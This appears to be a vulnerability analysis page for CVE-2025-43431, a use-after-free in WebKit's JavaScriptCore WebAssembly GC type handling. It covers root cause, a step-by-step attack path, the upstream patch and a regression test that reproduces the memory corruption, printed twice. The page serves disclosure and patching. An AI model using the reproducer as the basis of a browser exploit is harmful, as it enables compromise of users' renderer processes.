CVE-2025-43431
Overview
Background
- `WebAssemblyGCStructure`
- a
Structuresubclass that backs WebAssembly GC objects (structs and arrays) and holds references to theirWasm::TypeDefinitionandWasm::RTT. - `Wasm::TypeDefinition::expand()`
- resolves a
Subtype-wrapped definition to the underlyingStructTypeorArrayTypeit describes. - Subtype
- a non-final GC type declaration (
isFinal = false) that wraps an underlying struct/array type and whoseWasm::Typesin field descriptors may reference it by raw pointer. - `TypeInformation::tryCleanup()`
- the GC-time reclamation path that frees
Wasm::TypeDefinitionobjects no longer referenced.
Root Cause Analysis
When a JSWebAssemblyInstance builds structures for its GC types, finishCreation called JSWebAssemblyArray::createStructure and JSWebAssemblyStruct::createStructure with typeSignatures[i]->expand(), so the resulting WebAssemblyGCStructure retained only the expanded underlying StructType/ArrayType in m_type. For a Subtype-wrapped declaration, the unexpanded Wasm::TypeDefinition was never kept alive by the structure, yet Wasm::Types inside FieldTypes can hold raw pointers into that unexpanded Subtype. Once no other Ref retained it, TypeInformation::tryCleanup() freed the unexpanded definition during GC, leaving those raw pointers dangling and producing a use-after-free (surfacing as an assertion/corruption during a later gc()).
The fix threads the unexpanded type all the way into WebAssemblyGCStructure, which now stores it in a new Ref<const Wasm::TypeDefinition> m_unexpandedType member, so the wrapping Subtype outlives every raw pointer that targets it. createStructure now takes the unexpanded type and performs expand() internally, keeping both the expanded and unexpanded definitions rooted for the structure’s lifetime.
StructType/ArrayType (m_type) while raw pointers in field Wasm::Types still targeted the unexpanded Subtype TypeDefinition, allowing GC cleanup to free it; the fix adds an owning Ref (m_unexpandedType) so the Subtype is kept alive as long as the structure exists.Attack Path
- Declare a `Subtype`
Craft a module with a non-final struct type
B(isFinal = false) so it is represented as aSubtype-wrappedTypeDefinition. - Reference it from a field
Declare struct
Awith a field ofwasmRefType(B), embedding a raw pointer toB’s unexpandedSubtypeinA’sFieldType. - Instantiate and retain an object
Create instances via
new_A/new_Band keep one live so itsWebAssemblyGCStructure(holding only expandedm_type) persists past instance teardown. - Free the unexpanded type
Drop the module/instance and call
gc()soTypeInformation::tryCleanup()reclaims the now-unreferencedSubtypedefinition. - Trigger the use-after-free
A further
gc()walks the surviving structure/field types, dereferences the dangling raw pointer, and corrupts memory.
Impact Assessment
Wasm::TypeDefinition inside the JavaScriptCore/content (renderer) process, enabling memory corruption that can be developed toward arbitrary read/write and code execution. Preconditions are only that the target supports the WebAssembly GC proposal with Subtype (non-final) types and that the attacker can instantiate a module and trigger garbage collection, all reachable from ordinary untrusted web content.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified | |
forJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified | |
RefTypeBuilderJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified | |
constructorJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified | |
nullableJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified | |
sharedJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified | |
exactJSTests/wasm/spec-harness/wasm-module-builder-gc.js |
modified |
Files Changed
JSTests/wasm/regress/298194.jsJSTests/wasm/spec-harness/wasm-module-builder-gc.jsSource/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.hSource/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cppSource/JavaScriptCore/wasm/js/JSWebAssemblyStruct.hSource/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cppSource/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h
Audit Directions
- Expand-then-dropAudit any code that stores
TypeDefinition::expand()output without also retaining the original definition, since raw pointers inWasm::Types/FieldTypes may still target the unexpanded wrapper. - Raw pointers across GCReview WebAssembly GC structures for raw (non-
Ref) references into objects reclaimable byTypeInformation::tryCleanup(), and confirm each has an owningRefspanning its full lifetime. - Subtype lifetimeCheck every path that constructs or copies
WebAssemblyGCStructure(including transition/previous-based construction) to ensure bothm_typeandm_unexpandedTypeare consistently propagated.
Patch
diff --git a/Source/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.h b/Source/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.h
index ee7f35d7cd94..3cf3d7f38984 100644
--- a/Source/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.h
+++ b/Source/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.h
@@ -35,17 +35,17 @@ WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
namespace JSC {
-
TypeInfoBlob JSWebAssemblyArray::typeInfoBlob()
{
return TypeInfoBlob(0, TypeInfo(WebAssemblyGCObjectType, StructureFlags));
}
-WebAssemblyGCStructure* JSWebAssemblyArray::createStructure(VM& vm, JSGlobalObject* globalObject, Ref<const Wasm::TypeDefinition>&& type, Ref<const Wasm::RTT>&& rtt)
+WebAssemblyGCStructure* JSWebAssemblyArray::createStructure(VM& vm, JSGlobalObject* globalObject, Ref<const Wasm::TypeDefinition>&& unexpandedType, Ref<const Wasm::RTT>&& rtt)
{
+ Ref<const Wasm::TypeDefinition> type { unexpandedType->expand() };
RELEASE_ASSERT(type->is<Wasm::ArrayType>());
RELEASE_ASSERT(rtt->kind() == Wasm::RTTKind::Array);
- return WebAssemblyGCStructure::create(vm, globalObject, TypeInfo(WebAssemblyGCObjectType, StructureFlags), info(), WTFMove(type), WTFMove(rtt));
+ return WebAssemblyGCStructure::create(vm, globalObject, TypeInfo(WebAssemblyGCObjectType, StructureFlags), info(), WTFMove(unexpandedType), WTFMove(type), WTFMove(rtt));
}
template<typename T>
diff --git a/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp b/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
index 59aee8cdd82d..d8be7f830ec8 100644
--- a/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
+++ b/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
@@ -149,9 +149,9 @@ void JSWebAssemblyInstance::finishCreation(VM& vm)
for (unsigned i = 0; i < m_moduleInformation->typeCount(); ++i) {
Ref rtt = m_moduleInformation->rtts[i];
if (rtt->kind() == RTTKind::Array)
- gcObjectStructureID(i).set(vm, this, JSWebAssemblyArray::createStructure(vm, globalObject, m_moduleInformation->typeSignatures[i]->expand(), WTFMove(rtt)));
+ gcObjectStructureID(i).set(vm, this, JSWebAssemblyArray::createStructure(vm, globalObject, m_moduleInformation->typeSignatures[i], WTFMove(rtt)));
else if (rtt->kind() == RTTKind::Struct)
- gcObjectStructureID(i).set(vm, this, JSWebAssemblyStruct::createStructure(vm, globalObject, m_moduleInformation->typeSignatures[i]->expand(), WTFMove(rtt)));
+ gcObjectStructureID(i).set(vm, this, JSWebAssemblyStruct::createStructure(vm, globalObject, m_moduleInformation->typeSignatures[i], WTFMove(rtt)));
}
m_vm->traps().registerMirror(m_stackMirror);
diff --git a/Source/JavaScriptCore/wasm/js/JSWebAssemblyStruct.h b/Source/JavaScriptCore/wasm/js/JSWebAssemblyStruct.h
index 67da6cd2ba2e..e621a5ecc516 100644
--- a/Source/JavaScriptCore/wasm/js/JSWebAssemblyStruct.h
+++ b/Source/JavaScriptCore/wasm/js/JSWebAssemblyStruct.h
@@ -85,11 +85,12 @@ TypeInfoBlob JSWebAssemblyStruct::typeInfoBlob()
return TypeInfoBlob(0, TypeInfo(WebAssemblyGCObjectType, StructureFlags));
}
-WebAssemblyGCStructure* JSWebAssemblyStruct::createStructure(VM& vm, JSGlobalObject* globalObject, Ref<const Wasm::TypeDefinition>&& type, Ref<const Wasm::RTT>&& rtt)
+WebAssemblyGCStructure* JSWebAssemblyStruct::createStructure(VM& vm, JSGlobalObject* globalObject, Ref<const Wasm::TypeDefinition>&& unexpandedType, Ref<const Wasm::RTT>&& rtt)
{
- RELEASE_ASSERT(rtt->kind() == Wasm::RTTKind::Struct);
+ Ref<const Wasm::TypeDefinition> type { unexpandedType->expand() };
RELEASE_ASSERT(type->is<Wasm::StructType>());
- return WebAssemblyGCStructure::create(vm, globalObject, TypeInfo(WebAssemblyGCObjectType, StructureFlags), info(), WTFMove(type), WTFMove(rtt));
+ RELEASE_ASSERT(rtt->kind() == Wasm::RTTKind::Struct);
+ return WebAssemblyGCStructure::create(vm, globalObject, TypeInfo(WebAssemblyGCObjectType, StructureFlags), info(), WTFMove(unexpandedType), WTFMove(type), WTFMove(rtt));
}
} // namespace JSC
diff --git a/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cpp b/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cpp
index 3d9188262193..75ba0eec08eb 100644
--- a/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cpp
+++ b/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cpp
@@ -32,10 +32,11 @@
namespace JSC {
-WebAssemblyGCStructure::WebAssemblyGCStructure(VM& vm, JSGlobalObject* globalObject, const TypeInfo& typeInfo, const ClassInfo* classInfo, Ref<const Wasm::TypeDefinition>&& type, Ref<const Wasm::RTT>&& rtt)
+WebAssemblyGCStructure::WebAssemblyGCStructure(VM& vm, JSGlobalObject* globalObject, const TypeInfo& typeInfo, const ClassInfo* classInfo, Ref<const Wasm::TypeDefinition>&& unexpandedType, Ref<const Wasm::TypeDefinition>&& type, Ref<const Wasm::RTT>&& rtt)
: Structure(vm, StructureVariant::WebAssemblyGC, globalObject, typeInfo, classInfo)
, m_rtt(WTFMove(rtt))
, m_type(WTFMove(type))
+ , m_unexpandedType(WTFMove(unexpandedType))
{
for (unsigned i = 0; i < std::min((m_rtt->displaySizeExcludingThis() + 1), inlinedTypeDisplaySize); ++i)
m_inlinedTypeDisplay[i] = m_rtt->displayEntry(i);
@@ -46,14 +47,15 @@ WebAssemblyGCStructure::WebAssemblyGCStructure(VM& vm, WebAssemblyGCStructure* p
, m_rtt(previous->m_rtt)
, m_type(previous->m_type)
, m_inlinedTypeDisplay(previous->m_inlinedTypeDisplay)
+ , m_unexpandedType(previous->m_unexpandedType)
{
}
-WebAssemblyGCStructure* WebAssemblyGCStructure::create(VM& vm, JSGlobalObject* globalObject, const TypeInfo& typeInfo, const ClassInfo* classInfo, Ref<const Wasm::TypeDefinition>&& type, Ref<const Wasm::RTT>&& rtt)
+WebAssemblyGCStructure* WebAssemblyGCStructure::create(VM& vm, JSGlobalObject* globalObject, const TypeInfo& typeInfo, const ClassInfo* classInfo, Ref<const Wasm::TypeDefinition>&& unexpandedType, Ref<const Wasm::TypeDefinition>&& type, Ref<const Wasm::RTT>&& rtt)
{
ASSERT(vm.structureStructure);
- WebAssemblyGCStructure* newStructure = new (NotNull, allocateCell<WebAssemblyGCStructure>(vm)) WebAssemblyGCStructure(vm, globalObject, typeInfo, classInfo, WTFMove(type), WTFMove(rtt));
+ WebAssemblyGCStructure* newStructure = new (NotNull, allocateCell<WebAssemblyGCStructure>(vm)) WebAssemblyGCStructure(vm, globalObject, typeInfo, classInfo, WTFMove(unexpandedType), WTFMove(type), WTFMove(rtt));
newStructure->finishCreation(vm);
ASSERT(newStructure->type() == StructureType);
return newStructure;
diff --git a/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h b/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h
index 2dd359097728..879217bd05ff 100644
--- a/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h
+++ b/Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h
@@ -56,18 +56,21 @@ public:
const Wasm::RTT& rtt() const LIFETIME_BOUND { return m_rtt; }
const Wasm::TypeDefinition& typeDefinition() const LIFETIME_BOUND { return m_type; }
- static WebAssemblyGCStructure* create(VM&, JSGlobalObject*, const TypeInfo&, const ClassInfo*, Ref<const Wasm::TypeDefinition>&&, Ref<const Wasm::RTT>&&);
+ static WebAssemblyGCStructure* create(VM&, JSGlobalObject*, const TypeInfo&, const ClassInfo*, Ref<const Wasm::TypeDefinition>&& unexpandedType, Ref<const Wasm::TypeDefinition>&& expandedType, Ref<const Wasm::RTT>&&);
static constexpr ptrdiff_t offsetOfRTT() { return OBJECT_OFFSETOF(WebAssemblyGCStructure, m_rtt); }
static constexpr ptrdiff_t offsetOfInlinedTypeDisplay() { return OBJECT_OFFSETOF(WebAssemblyGCStructure, m_inlinedTypeDisplay); }
private:
- WebAssemblyGCStructure(VM&, JSGlobalObject*, const TypeInfo&, const ClassInfo*, Ref<const Wasm::TypeDefinition>&&, Ref<const Wasm::RTT>&&);
+ WebAssemblyGCStructure(VM&, JSGlobalObject*, const TypeInfo&, const ClassInfo*, Ref<const Wasm::TypeDefinition>&& unexpandedType, Ref<const Wasm::TypeDefinition>&& expandedType, Ref<const Wasm::RTT>&&);
WebAssemblyGCStructure(VM&, WebAssemblyGCStructure* previous);
Ref<const Wasm::RTT> m_rtt;
Ref<const Wasm::TypeDefinition> m_type;
std::array<RefPtr<const Wasm::RTT>, inlinedTypeDisplaySize> m_inlinedTypeDisplay { };
+ // The type of a struct or an array can be a Subtype wrapping the underlying Struct or Array type. In these situations `m_type` retains the expanded underlying type.
+ // We must also retain the original unexpanded Subtype because it may be the target of raw pointers in Wasm::Types of FieldTypes.
+ Ref<const Wasm::TypeDefinition> m_unexpandedType;
};
} // namespace JSC
diff --git a/JSTests/wasm/regress/298194.js b/JSTests/wasm/regress/298194.js
new file mode 100644
index 000000000000..7707bb7ce25f
--- /dev/null
+++ b/JSTests/wasm/regress/298194.js
@@ -0,0 +1,46 @@
+load("../spec-harness/wasm-module-builder-gc.js");
+
+function createWasmModule() {
+ let builder = new WasmModuleBuilder();
+
+ // Use a Subtype for B by setting isFinal = false.
+ const isFinal = false;
+ const supertypeIndex = kNoSuperType;
+
+ const typeBIdx = builder.addStruct([], supertypeIndex, isFinal);
+ const typeAIdx = builder.addStruct([makeField(wasmRefType(typeBIdx), true)]);
+
+ const refA = wasmRefType(typeAIdx);
+ const refB = wasmRefType(typeBIdx);
+
+ const sigNewA = builder.addType(makeSig([refB], [refA]));
+ builder.addFunction("new_A", sigNewA)
+ .addBody([
+ kExprLocalGet, 0,
+ kGCPrefix, kExprStructNew, ...wasmUnsignedLeb(typeAIdx)
+ ]).exportFunc();
+ const sigNewB = builder.addType(makeSig([], [refB]));
+ builder.addFunction("new_B", sigNewB)
+ .addBody([ kGCPrefix, kExprStructNewDefault, ...wasmUnsignedLeb(typeBIdx) ]).exportFunc();
+
+ return builder.instantiate();
+}
+
+let obj = null;
+{
+ let inst = createWasmModule();
+ let exports = inst.exports;
+ let objB = exports.new_B();
+ obj = exports.new_A(objB);
+}
+
+gc();
+
+let dummy = (new WasmModuleBuilder()).instantiate();
+dummy = null;
+
+// Trigger TypeInformation::tryCleanup() to free the TypeDefinition.
+gc();
+
+// Trigger assertion failure during GC.
+gc();
\ No newline at end of file
diff --git a/JSTests/wasm/spec-harness/wasm-module-builder-gc.js b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
new file mode 100644
index 000000000000..5c96cbba7980
--- /dev/null
+++ b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
@@ -0,0 +1,2492 @@
+// Copyright 2016 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// This is a 'wasm-module-builder.js' circa 2025 with support for the GC proposal,
+// in particular Subtype-wrapped types.
+
+// Used for encoding f32 and double constants to bits.
+let byte_view = new Uint8Array(8);
+let data_view = new DataView(byte_view.buffer);
+
+// The bytes function receives one of
+// - several arguments, each of which is either a number or a string of length
+// 1; if it's a string, the charcode of the contained character is used.
+// - a single array argument containing the actual arguments
+// - a single string; the returned buffer will contain the char codes of all
+// contained characters.
+function bytes(...input) {
+ if (input.length == 1 && typeof input[0] == 'array') input = input[0];
+ if (input.length == 1 && typeof input[0] == 'string') {
+ let len = input[0].length;
+ let view = new Uint8Array(len);
+ for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
+ return view.buffer;
+ }
+ let view = new Uint8Array(input.length);
+ for (let i = 0; i < input.length; i++) {
+ let val = input[i];
+ if (typeof val == 'string') {
+ if (val.length != 1) {
+ throw new Error('string inputs must have length 1');
+ }
+ val = val.charCodeAt(0);
+ }
+ view[i] = val | 0;
+ }
+ return view.buffer;
+}
+
+// Header declaration constants
+var kWasmH0 = 0;
+var kWasmH1 = 0x61;
+var kWasmH2 = 0x73;
+var kWasmH3 = 0x6d;
+
+var kWasmV0 = 0x1;
+var kWasmV1 = 0;
+var kWasmV2 = 0;
+var kWasmV3 = 0;
+
+var kHeaderSize = 8;
+var kPageSize = 65536;
+var kSpecMaxPages = 65536;
+var kMaxVarInt32Size = 5;
+var kMaxVarInt64Size = 10;
+var kSpecMaxFunctionParams = 1_000;
+
+let kDeclNoLocals = 0;
+
+// Section declaration constants
+let kUnknownSectionCode = 0;
+let kTypeSectionCode = 1; // Function signature declarations
+let kImportSectionCode = 2; // Import declarations
+let kFunctionSectionCode = 3; // Function declarations
+let kTableSectionCode = 4; // Indirect function table and other tables
+let kMemorySectionCode = 5; // Memory attributes
+let kGlobalSectionCode = 6; // Global declarations
+let kExportSectionCode = 7; // Exports
+let kStartSectionCode = 8; // Start function declaration
+let kElementSectionCode = 9; // Elements section
+let kCodeSectionCode = 10; // Function code
+let kDataSectionCode = 11; // Data segments
+let kDataCountSectionCode = 12; // Data segment count (between Element & Code)
+let kTagSectionCode = 13; // Tag section (between Memory & Global)
+let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global)
+let kLastKnownSectionCode = 14;
+
+// Name section types
+let kModuleNameCode = 0;
+let kFunctionNamesCode = 1;
+let kLocalNamesCode = 2;
+
+let kWasmSharedTypeForm = 0x65;
+let kWasmFunctionTypeForm = 0x60;
+let kWasmStructTypeForm = 0x5f;
+let kWasmArrayTypeForm = 0x5e;
+let kWasmSubtypeForm = 0x50;
+let kWasmSubtypeFinalForm = 0x4f;
+let kWasmRecursiveTypeGroupForm = 0x4e;
+let kWasmDescriptorTypeForm = 0x4d;
+let kWasmDescribesTypeForm = 0x4c;
+
+let kNoSuperType = 0xFFFFFFFF;
+
+let kLimitsNoMaximum = 0x00;
+let kLimitsWithMaximum = 0x01;
+let kLimitsSharedNoMaximum = 0x02;
+let kLimitsSharedWithMaximum = 0x03;
+let kLimitsMemory64NoMaximum = 0x04;
+let kLimitsMemory64WithMaximum = 0x05;
+let kLimitsMemory64SharedNoMaximum = 0x06;
+let kLimitsMemory64SharedWithMaximum = 0x07;
+
+// Segment flags
+let kActiveNoIndex = 0;
+let kPassive = 1;
+let kActiveWithIndex = 2;
+let kDeclarative = 3;
+let kPassiveWithElements = 5;
+let kDeclarativeWithElements = 7;
+
+// Function declaration flags
+let kDeclFunctionName = 0x01;
+let kDeclFunctionImport = 0x02;
+let kDeclFunctionLocals = 0x04;
+let kDeclFunctionExport = 0x08;
+
+// Value types and related
+let kWasmVoid = 0x40;
+let kWasmI32 = 0x7f;
+let kWasmI64 = 0x7e;
+let kWasmF32 = 0x7d;
+let kWasmF64 = 0x7c;
+let kWasmS128 = 0x7b;
+let kWasmI8 = 0x78;
+let kWasmI16 = 0x77;
+let kWasmF16 = 0x76;
+
+// These are defined as negative integers to distinguish them from positive type
+// indices.
+let kWasmNullFuncRef = -0x0d;
+let kWasmNullExternRef = -0x0e;
+let kWasmNullRef = -0x0f;
+let kWasmFuncRef = -0x10;
+let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
+let kWasmExternRef = -0x11;
+let kWasmAnyRef = -0x12;
+let kWasmEqRef = -0x13;
+let kWasmI31Ref = -0x14;
+let kWasmStructRef = -0x15;
+let kWasmArrayRef = -0x16;
+let kWasmExnRef = -0x17;
+let kWasmNullExnRef = -0x0c;
+let kWasmStringRef = -0x19;
+let kWasmStringViewWtf8 = -0x1a;
+let kWasmStringViewWtf16 = -0x20;
+let kWasmStringViewIter = -0x1f;
+const kWasmContRef = -0x18;
+const kWasmNullContRef = -0x0b;
+
+// Use the positive-byte versions inside function bodies.
+let kLeb128Mask = 0x7f;
+let kFuncRefCode = kWasmFuncRef & kLeb128Mask;
+let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec
+let kExternRefCode = kWasmExternRef & kLeb128Mask;
+let kAnyRefCode = kWasmAnyRef & kLeb128Mask;
+let kEqRefCode = kWasmEqRef & kLeb128Mask;
+let kI31RefCode = kWasmI31Ref & kLeb128Mask;
+let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;
+let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;
+let kStructRefCode = kWasmStructRef & kLeb128Mask;
+let kArrayRefCode = kWasmArrayRef & kLeb128Mask;
+let kExnRefCode = kWasmExnRef & kLeb128Mask;
+let kNullExnRefCode = kWasmNullExnRef & kLeb128Mask;
+let kNullRefCode = kWasmNullRef & kLeb128Mask;
+let kStringRefCode = kWasmStringRef & kLeb128Mask;
+let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;
+let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;
+let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;
+const kContRefCode = kWasmContRef & kLeb128Mask;
+const kNullContRefCode = kWasmNullContRef & kLeb128Mask;
+
+let kWasmRefNull = 0x63;
+let kWasmRef = 0x64;
+let kWasmExact = 0x62;
+
+// Implementation detail of `wasmRef[Null]Type`, don't use directly.
+class RefTypeBuilder {
+ constructor(opcode, heap_type) {
+ this.opcode = opcode;
+ this.heap_type = heap_type;
+ this.is_shared = false;
+ this.is_exact = false;
+ }
+ nullable() {
+ this.opcode = kWasmRefNull;
+ return this;
+ }
+ shared() {
+ this.is_shared = true;
+ return this;
+ }
+ exact() {
+ this.is_exact = true;
+ return this;
+ }
+}
+function wasmRefNullType(heap_type) {
+ return new RefTypeBuilder(kWasmRefNull, heap_type);
+}
+function wasmRefType(heap_type) {
+ return new RefTypeBuilder(kWasmRef, heap_type);
+}
+
+let kExternalFunction = 0;
+let kExternalTable = 1;
+let kExternalMemory = 2;
+let kExternalGlobal = 3;
+let kExternalTag = 4;
+
+let kTableZero = 0;
+let kMemoryZero = 0;
+let kSegmentZero = 0;
+
+let kExceptionAttribute = 0;
+
+const kAtomicSeqCst = 0;
... (file diff truncated)
Regression Test / PoC
diff --git a/JSTests/wasm/regress/298194.js b/JSTests/wasm/regress/298194.js
new file mode 100644
index 000000000000..7707bb7ce25f
--- /dev/null
+++ b/JSTests/wasm/regress/298194.js
@@ -0,0 +1,46 @@
+load("../spec-harness/wasm-module-builder-gc.js");
+
+function createWasmModule() {
+ let builder = new WasmModuleBuilder();
+
+ // Use a Subtype for B by setting isFinal = false.
+ const isFinal = false;
+ const supertypeIndex = kNoSuperType;
+
+ const typeBIdx = builder.addStruct([], supertypeIndex, isFinal);
+ const typeAIdx = builder.addStruct([makeField(wasmRefType(typeBIdx), true)]);
+
+ const refA = wasmRefType(typeAIdx);
+ const refB = wasmRefType(typeBIdx);
+
+ const sigNewA = builder.addType(makeSig([refB], [refA]));
+ builder.addFunction("new_A", sigNewA)
+ .addBody([
+ kExprLocalGet, 0,
+ kGCPrefix, kExprStructNew, ...wasmUnsignedLeb(typeAIdx)
+ ]).exportFunc();
+ const sigNewB = builder.addType(makeSig([], [refB]));
+ builder.addFunction("new_B", sigNewB)
+ .addBody([ kGCPrefix, kExprStructNewDefault, ...wasmUnsignedLeb(typeBIdx) ]).exportFunc();
+
+ return builder.instantiate();
+}
+
+let obj = null;
+{
+ let inst = createWasmModule();
+ let exports = inst.exports;
+ let objB = exports.new_B();
+ obj = exports.new_A(objB);
+}
+
+gc();
+
+let dummy = (new WasmModuleBuilder()).instantiate();
+dummy = null;
+
+// Trigger TypeInformation::tryCleanup() to free the TypeDefinition.
+gc();
+
+// Trigger assertion failure during GC.
+gc();
\ No newline at end of file
diff --git a/JSTests/wasm/spec-harness/wasm-module-builder-gc.js b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
new file mode 100644
index 000000000000..5c96cbba7980
--- /dev/null
+++ b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
@@ -0,0 +1,2492 @@
+// Copyright 2016 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// This is a 'wasm-module-builder.js' circa 2025 with support for the GC proposal,
+// in particular Subtype-wrapped types.
+
+// Used for encoding f32 and double constants to bits.
+let byte_view = new Uint8Array(8);
+let data_view = new DataView(byte_view.buffer);
+
+// The bytes function receives one of
+// - several arguments, each of which is either a number or a string of length
+// 1; if it's a string, the charcode of the contained character is used.
+// - a single array argument containing the actual arguments
+// - a single string; the returned buffer will contain the char codes of all
+// contained characters.
+function bytes(...input) {
+ if (input.length == 1 && typeof input[0] == 'array') input = input[0];
+ if (input.length == 1 && typeof input[0] == 'string') {
+ let len = input[0].length;
+ let view = new Uint8Array(len);
+ for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
+ return view.buffer;
+ }
+ let view = new Uint8Array(input.length);
+ for (let i = 0; i < input.length; i++) {
+ let val = input[i];
+ if (typeof val == 'string') {
+ if (val.length != 1) {
+ throw new Error('string inputs must have length 1');
+ }
+ val = val.charCodeAt(0);
+ }
+ view[i] = val | 0;
+ }
+ return view.buffer;
+}
+
+// Header declaration constants
+var kWasmH0 = 0;
+var kWasmH1 = 0x61;
+var kWasmH2 = 0x73;
+var kWasmH3 = 0x6d;
+
+var kWasmV0 = 0x1;
+var kWasmV1 = 0;
+var kWasmV2 = 0;
+var kWasmV3 = 0;
+
+var kHeaderSize = 8;
+var kPageSize = 65536;
+var kSpecMaxPages = 65536;
+var kMaxVarInt32Size = 5;
+var kMaxVarInt64Size = 10;
+var kSpecMaxFunctionParams = 1_000;
+
+let kDeclNoLocals = 0;
+
+// Section declaration constants
+let kUnknownSectionCode = 0;
+let kTypeSectionCode = 1; // Function signature declarations
+let kImportSectionCode = 2; // Import declarations
+let kFunctionSectionCode = 3; // Function declarations
+let kTableSectionCode = 4; // Indirect function table and other tables
+let kMemorySectionCode = 5; // Memory attributes
+let kGlobalSectionCode = 6; // Global declarations
+let kExportSectionCode = 7; // Exports
+let kStartSectionCode = 8; // Start function declaration
+let kElementSectionCode = 9; // Elements section
+let kCodeSectionCode = 10; // Function code
+let kDataSectionCode = 11; // Data segments
+let kDataCountSectionCode = 12; // Data segment count (between Element & Code)
+let kTagSectionCode = 13; // Tag section (between Memory & Global)
+let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global)
+let kLastKnownSectionCode = 14;
+
+// Name section types
+let kModuleNameCode = 0;
+let kFunctionNamesCode = 1;
+let kLocalNamesCode = 2;
+
+let kWasmSharedTypeForm = 0x65;
+let kWasmFunctionTypeForm = 0x60;
+let kWasmStructTypeForm = 0x5f;
+let kWasmArrayTypeForm = 0x5e;
+let kWasmSubtypeForm = 0x50;
+let kWasmSubtypeFinalForm = 0x4f;
+let kWasmRecursiveTypeGroupForm = 0x4e;
+let kWasmDescriptorTypeForm = 0x4d;
+let kWasmDescribesTypeForm = 0x4c;
+
+let kNoSuperType = 0xFFFFFFFF;
+
+let kLimitsNoMaximum = 0x00;
+let kLimitsWithMaximum = 0x01;
+let kLimitsSharedNoMaximum = 0x02;
+let kLimitsSharedWithMaximum = 0x03;
+let kLimitsMemory64NoMaximum = 0x04;
+let kLimitsMemory64WithMaximum = 0x05;
+let kLimitsMemory64SharedNoMaximum = 0x06;
+let kLimitsMemory64SharedWithMaximum = 0x07;
+
+// Segment flags
+let kActiveNoIndex = 0;
+let kPassive = 1;
+let kActiveWithIndex = 2;
+let kDeclarative = 3;
+let kPassiveWithElements = 5;
+let kDeclarativeWithElements = 7;
+
+// Function declaration flags
+let kDeclFunctionName = 0x01;
+let kDeclFunctionImport = 0x02;
+let kDeclFunctionLocals = 0x04;
+let kDeclFunctionExport = 0x08;
+
+// Value types and related
+let kWasmVoid = 0x40;
+let kWasmI32 = 0x7f;
+let kWasmI64 = 0x7e;
+let kWasmF32 = 0x7d;
+let kWasmF64 = 0x7c;
+let kWasmS128 = 0x7b;
+let kWasmI8 = 0x78;
+let kWasmI16 = 0x77;
+let kWasmF16 = 0x76;
+
+// These are defined as negative integers to distinguish them from positive type
+// indices.
+let kWasmNullFuncRef = -0x0d;
+let kWasmNullExternRef = -0x0e;
+let kWasmNullRef = -0x0f;
+let kWasmFuncRef = -0x10;
+let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
+let kWasmExternRef = -0x11;
+let kWasmAnyRef = -0x12;
+let kWasmEqRef = -0x13;
+let kWasmI31Ref = -0x14;
+let kWasmStructRef = -0x15;
+let kWasmArrayRef = -0x16;
+let kWasmExnRef = -0x17;
+let kWasmNullExnRef = -0x0c;
+let kWasmStringRef = -0x19;
+let kWasmStringViewWtf8 = -0x1a;
+let kWasmStringViewWtf16 = -0x20;
+let kWasmStringViewIter = -0x1f;
+const kWasmContRef = -0x18;
+const kWasmNullContRef = -0x0b;
+
+// Use the positive-byte versions inside function bodies.
+let kLeb128Mask = 0x7f;
+let kFuncRefCode = kWasmFuncRef & kLeb128Mask;
+let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec
+let kExternRefCode = kWasmExternRef & kLeb128Mask;
+let kAnyRefCode = kWasmAnyRef & kLeb128Mask;
+let kEqRefCode = kWasmEqRef & kLeb128Mask;
+let kI31RefCode = kWasmI31Ref & kLeb128Mask;
+let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;
+let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;
+let kStructRefCode = kWasmStructRef & kLeb128Mask;
+let kArrayRefCode = kWasmArrayRef & kLeb128Mask;
+let kExnRefCode = kWasmExnRef & kLeb128Mask;
